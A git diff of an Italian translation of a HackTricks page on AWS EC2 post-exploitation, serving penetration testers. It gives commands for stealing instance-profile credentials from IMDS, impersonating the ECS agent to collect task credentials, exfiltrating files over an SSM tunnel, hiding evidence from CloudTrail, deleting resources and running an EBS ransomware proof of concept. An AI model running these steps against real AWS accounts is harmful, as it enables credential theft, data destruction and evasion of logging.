mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -12,8 +12,8 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene solitamente inviato a un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per EC2 instances all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.\
|
||||
Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
|
||||
Per maggiori informazioni consulta questa pagina:
|
||||
|
||||
@@ -21,9 +21,9 @@ Per maggiori informazioni consulta questa pagina:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Copiare un'istanza in esecuzione
|
||||
|
||||
Le istanze solitamente contengono qualche tipo di informazione sensibile. Ci sono diversi modi per ottenere l'accesso (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contiene è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**:
|
||||
Le istanze solitamente contengono qualche tipo di informazione sensibile. Esistono diversi modi per ottenere l'accesso (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI e avviare una nuova istanza (anche nel tuo account) da essa**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots sono backup dei volumi**, che di solito contengono **informazioni sensibili**, quindi verificarli dovrebbe rivelare tali informazioni.\
|
||||
Se trovi un **volume senza snapshot** puoi: **creare uno snapshot** ed eseguire le azioni seguenti oppure semplicemente **montarlo in un'istanza** all'interno dell'account:
|
||||
**Snapshots are backups of volumes**, che di solito contengono **informazioni sensibili**, quindi verificarli dovrebbe rivelare queste informazioni.\
|
||||
Se trovi un **volume without a snapshot** puoi: **Create a snapshot** ed eseguire le seguenti azioni oppure semplicemente **mount it in an instance** all'interno dell'account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Esporta un AMI EC2 direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza condividere lo snapshot. Questo permette analisi forensi offline complete o furto di dati lasciando inalterata la rete dell'istanza.
|
||||
Esporta un EC2 AMI direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics completi offline o furto di dati lasciando intatta la rete dell'instance.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attacca un volume io1/io2 Multi-Attach a una seconda istanza e montalo in sola lettura per prelevare dati live senza snapshot. Utile quando il volume vittima ha già Multi-Attach abilitato nella stessa AZ.
|
||||
Collega un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per prelevare dati live senza snapshot. Utile quando il volume vittima ha già Multi-Attach abilitato nella stessa AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crea un EC2 Instance Connect Endpoint, autorizza l'ingresso e inietta chiavi SSH effimere per accedere a istanze private tramite un tunnel gestito. Fornisce percorsi rapidi per movimenti laterali senza aprire porte pubbliche.
|
||||
Crea un EC2 Instance Connect Endpoint, autorizza l'ingresso e inietta chiavi SSH effimere per accedere a instance private tramite un tunnel gestito. Consente percorsi di lateral movement rapidi senza aprire porte pubbliche.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Sposta l'IP privato secondario di un ENI vittima su un ENI controllato dall'attaccante per impersonare host allowlisted per IP. Permette di bypassare ACL interne o regole SG basate su indirizzi specifici.
|
||||
Sposta la secondary private IP di un ENI vittima verso un ENI controllato dall'attaccante per impersonare host di fiducia che sono allowlisted per IP. Permette di bypassare ACL interne o regole SG legate a indirizzi specifici.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Riassegna un Elastic IP dall'istanza vittima all'attaccante per intercettare traffico in ingresso o iniziare connessioni in uscita che appaiono provenire da IP pubblici fidati.
|
||||
Riassegna un Elastic IP dall'instance vittima all'attaccante per intercettare traffico in ingresso o generare connessioni in uscita che sembrano provenire da IP pubblici di fiducia.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se una regola di Security Group fa riferimento a una customer-managed prefix list, aggiungere CIDR dell'attaccante alla lista amplia silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare lo SG stesso.
|
||||
Se una regola di security group fa riferimento a una customer-managed prefix list, aggiungendo CIDR dell'attaccante alla lista si espande silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare il SG stesso.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crea gateway o interface VPC endpoints per recuperare l'accesso in uscita da subnet isolate. Sfruttare i private links gestiti da AWS bypassa controlli IGW/NAT mancanti per l'esfiltrazione di dati.
|
||||
Crea gateway o interface VPC endpoints per recuperare l'accesso in uscita da subnet isolate. Sfruttare AWS-managed private links bypassa controlli IGW/NAT mancanti per l'exfiltrazione di dati.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaccante con il permesso `ec2:AuthorizeSecurityGroupIngress` può aggiungere regole inbound ai security group (per esempio, consentendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni a Internet pubblica o ad altre reti non autorizzate.
|
||||
Un attaccante con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole in ingresso ai security group (ad esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni a Internet pubblico o ad altre reti non autorizzate.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attaccante con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio permettendo 0.0.0.0/0 su porte critiche — esponendo l'intero intervallo di subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che sono applicate per-instance, i NACLs sono applicati a livello di subnet, quindi modificare un NACL restrittivo può avere un blast radius molto più ampio abilitando l'accesso a molti più host.
|
||||
Un attacker con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su porte critiche — esponendo l'intero range della subnet su Internet o verso segmenti di rete non autorizzati. A differenza dei Security Groups, che vengono applicati per-instance, i NACLs sono applicati a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio d'impatto molto più ampio permettendo l'accesso a molti più host.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaccante con i permessi ec2:Delete* e iam:Remove* può eliminare risorse e configurazioni critiche dell'infrastruttura — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Questo può causare interruzioni immediate del servizio, perdita di dati e perdita di prove forensi.
|
||||
Un attaccante con permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni infrastrutturali critiche — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -140,7 +140,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Indirizza VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadati di rete (sorgente/destinazione, porte) al di fuori dell'account vittima per ricognizione a lungo termine.
|
||||
Indirizza i VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadata di rete (source/destination, ports) al di fuori dell'account vittima per ricognizione a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,7 +150,7 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Anche se blocchi un EC2 in modo che nessun traffico possa uscire, può comunque **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Non hai accesso ai log DNS di AWS.
|
||||
@@ -171,47 +171,51 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere usata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
Una compromissione all'interno di qualsiasi task ECS in esecuzione su un EC2 container instance è tipicamente sufficiente per pivotare al ruolo host e ai ruoli IAM associati a tutti gli altri task su quel nodo. Perché non c'è **isolamento dei task per ECS-on-EC2**, ogni task può interrogare l'EC2 Instance Metadata Service (IMDS) di default, rubare l'instance profile della container instance e poi parlare lo stesso protocollo WebSocket che l'ECS agent usa verso il control plane (il primitivo **ECScape**) per richiedere le credenziali di ogni task attualmente schedulato su quell'host. Latacora ha documentato questo workflow nella loro [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), che il seguente sommario offensivo condensa.
|
||||
Su ECS con il launch type EC2, il control plane assume ogni task role e invia le credenziali temporanee all'ECS agent tramite il canale WebSocket del Agent Communication Service (ACS). L'agent poi fornisce quelle credenziali ai container tramite l'endpoint di metadata del task (169.254.170.2). La ricerca ECScape dimostra che se un container può raggiungere IMDS e rubare l'instance profile, può impersonare l'agent su ACS e ricevere ogni task role credential presente su quell'host, incluse le task execution role credentials che non sono esposte tramite l'endpoint dei metadata.
|
||||
|
||||
#### Catena d'attacco
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
1. **Steal the container instance role from IMDS.** L'accesso a IMDS è necessario per ottenere il host role usato dall'ECS agent.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** Usando le credenziali del instance role, chiama `ecs:DiscoverPollEndpoint` per ottenere l'endpoint ACS e raccogliere identificatori come il cluster ARN e il container instance ARN. Il cluster ARN è esposto via task metadata (169.254.170.2/v4/), mentre il container instance ARN può essere ottenuto tramite l'agent introspection API o (se permesso) `ecs:ListContainerInstances`.
|
||||
3. **Impersonate the ECS agent over ACS.** Inizia una WebSocket firmata SigV4 verso il poll endpoint e includi `sendCredentials=true`. ECS accetta la connessione come una sessione agent valida e inizia a streammare messaggi `IamRoleCredentials` per **tutti** i task sull'istanza. Questo include le task execution role credentials, che possono sbloccare ECR pulls, recuperi da Secrets Manager o accesso a CloudWatch Logs.
|
||||
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Impostare IMDSv2 con `HttpTokens=required` e `HttpPutResponseHopLimit=1` blocca solo i task che vivono dietro un hop aggiuntivo (Docker bridge). Altre modalità di rete rimangono entro un solo hop dal Nitro controller e continuano a ricevere risposte:
|
||||
Impostare IMDSv2 con `HttpTokens=required` e `HttpPutResponseHopLimit=1` blocca solo i task che risiedono dietro un hop extra (Docker bridge). Altre modalità di rete restano entro un hop dal Nitro controller e continuano a ricevere risposte:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Ogni task ottiene la propria ENI che è comunque a un solo hop dall'IMDS, quindi token e risposte metadata arrivano correttamente. |
|
||||
| `awsvpc` | ✅ | Ogni task ottiene la propria ENI che è ancora a un hop da IMDS, quindi token e risposte dei metadata arrivano correttamente. |
|
||||
| `host` | ✅ | I task condividono il namespace dell'host, quindi vedono la stessa distanza in hop dell'istanza EC2. |
|
||||
| `bridge` | ❌ | Le risposte muoiono sul Docker bridge perché quell'hop aggiuntivo esaurisce il limite di hop. |
|
||||
| `bridge` | ❌ | Le risposte muoiono sul Docker bridge perché quell'hop extra esaurisce il limite di hop. |
|
||||
|
||||
Pertanto, **non presumere mai che hop limit 1 protegga i workload in `awsvpc` o in host-mode**—testa sempre dall'interno dei tuoi container.
|
||||
Pertanto, **non dare mai per scontato che hop limit 1 protegga workload in awsvpc o host-mode** — testa sempre dall'interno dei tuoi container.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs o modifiche al routing non possono bloccare l'indirizzo link-local 169.254.169.254 perché Nitro lo inietta sull'host. Controlla `/etc/ecs/ecs.config` per `ECS_AWSVPC_BLOCK_IMDS=true`. Se il flag manca (impostazione predefinita) puoi curlare IMDS direttamente dal task. Se è impostato, pivot nel namespace host/agent per riattivarlo o esegui i tuoi tool fuori da awsvpc.
|
||||
- **awsvpc tasks:** Security groups, NACLs o modifiche di routing non possono bloccare l'indirizzo link-local 169.254.169.254 perché Nitro lo inietta sull'host. Controlla `/etc/ecs/ecs.config` per `ECS_AWSVPC_BLOCK_IMDS=true`. Se il flag manca (default) puoi curlare IMDS direttamente dal task. Se è impostato, pivot nella namespace dell'host/agent per ripristinarlo o esegui i tuoi tool al di fuori di awsvpc.
|
||||
|
||||
- **bridge mode:** Quando le richieste metadata falliscono anche se hop limit 1 è configurato, i difensori probabilmente hanno inserito una regola di drop in `DOCKER-USER` come `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Elencare `iptables -S DOCKER-USER` lo espone, e l'accesso root ti permette di cancellare o riordinare la regola prima di interrogare IMDS.
|
||||
- **bridge mode:** Quando le richieste ai metadata falliscono anche se hop limit 1 è configurato, i defender probabilmente hanno inserito una regola di drop `DOCKER-USER` come `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listare `iptables -S DOCKER-USER` la espone, e l'accesso root ti permette di cancellare o riordinare la regola prima di interrogare IMDS.
|
||||
|
||||
- **host mode:** Ispeziona la configurazione dell'agent per `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Questa impostazione rimuove completamente i task IAM role, quindi devi o riabilitarla, spostare i task in awsvpc, o rubare le credenziali tramite un altro processo sull'host. Quando il valore è `true` (default), ogni processo in host-mode—including container compromessi—può raggiungere IMDS a meno che non siano stati applicati filtri eBPF/cgroup su `169.254.169.254`; cerca programmi tc/eBPF o regole iptables che facciano riferimento a quell'indirizzo.
|
||||
- **host mode:** Ispeziona la configurazione dell'agent per `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Questa impostazione rimuove completamente i task IAM roles, quindi devi o riabilitarla, passare a task awsvpc, o rubare credenziali tramite un altro processo sull'host. Quando il valore è `true` (default), ogni processo in host-mode — inclusi i container compromessi — può contattare IMDS a meno che non siano presenti filtri eBPF/cgroup ad hoc che mirino a `169.254.169.254`; cerca programmi tc/eBPF o regole iptables che fanno riferimento a quell'indirizzo.
|
||||
|
||||
Latacora ha anche rilasciato [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) che puoi inserire in un account target per enumerare quali modalità di rete espongono ancora i metadata e pianificare di conseguenza il tuo prossimo passo.
|
||||
Latacora ha persino rilasciato [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) che puoi inserire in un account target per enumerare quali modalità di rete espongono ancora i metadata e pianificare di conseguenza il prossimo passo.
|
||||
|
||||
Una volta capito quali modalità espongono IMDS, puoi pianificare il tuo percorso di post-exploitation: targettizza qualsiasi ECS task, richiedi l'instance profile, impersona l'agent e raccogli il ruolo di ogni altro task per movimento laterale o persistenza all'interno del cluster.
|
||||
Una volta capito quali modalità espongono IMDS puoi pianificare il percorso di post-exploitation: prendi di mira qualsiasi ECS task, richiedi l'instance profile, impersona l'agent e raccogli tutti gli altri task role per movimento laterale o persistenza all'interno del cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -223,13 +227,13 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM permette il traffic tunneling, che può essere abusato per pivot da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Oltre all'esecuzione di comandi, SSM consente il traffic tunneling che può essere abusato per pivot da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installa il SessionManagerPlugin sulla tua macchina
|
||||
2. Effettua il login sul Bastion EC2 usando il seguente comando:
|
||||
2. Accedi al Bastion EC2 usando il seguente comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
@@ -244,38 +248,37 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
Il traffico dallo strumento `kubectl` ora viene inoltrato attraverso il tunnel SSM tramite la Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s).
|
||||
Poiché il traffico è instradato attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelled attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivot verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per eseguire un pivot verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
|
||||
---
|
||||
|
||||
#### Inoltro rapido porta Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
#### Inoltro porte rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
|
||||
Se hai solo bisogno di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro di remote host richiesto):
|
||||
Se devi solo inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola in ingresso del Security-Group**.
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna inbound Security-Group rules**.
|
||||
|
||||
Common use cases:
|
||||
Casi d'uso comuni:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sull'istanza avvia un rapido server HTTP che punta alla directory che vuoi exfiltrate:
|
||||
1. Sull'istanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Dalla tua workstation recupera i file tramite il tunnel SSM:
|
||||
2. Dalla tua workstation recupera i file attraverso il SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -289,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
|
||||
Suggerimento: comprimi e crittografa le prove prima di exfiltrating in modo che CloudTrail non registri il contenuto in clear-text:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -298,19 +301,19 @@ Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTr
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Cerca informazioni sensibili in AMIs pubbliche e private
|
||||
### Cercare informazioni sensibili nelle AMIs pubbliche e private
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di lancio di istanze dalle AMI target, il montaggio dei loro volumi e la scansione per potenziali secrets o dati sensibili.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze da AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.
|
||||
|
||||
### Condividi EBS Snapshot
|
||||
### Condividere EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di post-exploitation su S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, visto quanto è facile da usare per crittografare vari servizi AWS.
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per crittografare vari servizi AWS.
|
||||
|
||||
Per prima cosa, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che sia AWS a gestire i dati della chiave per me, ma in uno scenario realistico un attore malevolo manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che permette tutto l'accesso si chiama 'Outside Encryption'
|
||||
Per prima cosa, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno conserverebbe i dati della chiave fuori dal controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che concede tutti i permessi si chiama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -402,7 +405,7 @@ Per prima cosa, da un account AWS 'attacker', crea una customer managed key in K
|
||||
]
|
||||
}
|
||||
```
|
||||
La key policy deve avere le seguenti autorizzazioni abilitate per poter essere usata per criptare un EBS volume:
|
||||
La key policy deve avere abilitate le seguenti azioni per poter essere utilizzata per cifrare un volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -410,17 +413,17 @@ La key policy deve avere le seguenti autorizzazioni abilitate per poter essere u
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ora che la key pubblicamente accessibile è disponibile, possiamo usare un account 'victim' che ha delle istanze EC2 avviate con EBS volumes non criptati allegati. Gli EBS volumes di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco avviene nell'ipotesi di compromissione di un account AWS con privilegi elevati.
|
||||
Ora avendo una chiave pubblicamente accessibile da usare. Possiamo usare un account 'victim' che ha alcune istanze EC2 avviate con volumi EBS non cifrati allegati. I volumi EBS di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco avviene nell'ipotesi di compromissione di un account AWS con privilegi elevati.
|
||||
|
||||
 
|
||||
|
||||
Simile all'esempio S3 ransomware. Questo attacco crea copie degli EBS volumes allegati usando snapshot, utilizza la key pubblica disponibile dall'account 'attacker' per criptare i nuovi EBS volumes, poi stacca gli EBS volumes originali dalle istanze EC2 e li elimina, e infine cancella gli snapshot usati per creare i nuovi EBS volumes criptati. 
|
||||
Simile all'esempio di ransomware su S3. L'attacco creerà copie dei volumi EBS allegati usando snapshots, userà la chiave pubblicamente disponibile dall'account 'attacker' per cifrare i nuovi volumi EBS, poi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, ed infine cancellerà gli snapshot usati per creare i nuovi volumi EBS cifrati. 
|
||||
|
||||
Il risultato è che nell'account rimangono solo EBS volumes criptati.
|
||||
Il risultato è che rimarranno nell'account solo volumi EBS cifrati.
|
||||
|
||||
|
||||
|
||||
Vale anche la pena notare che lo script ha fermato le istanze EC2 per poter staccare e cancellare gli EBS volumes originali. Gli originali volumi non criptati sono ora spariti.
|
||||
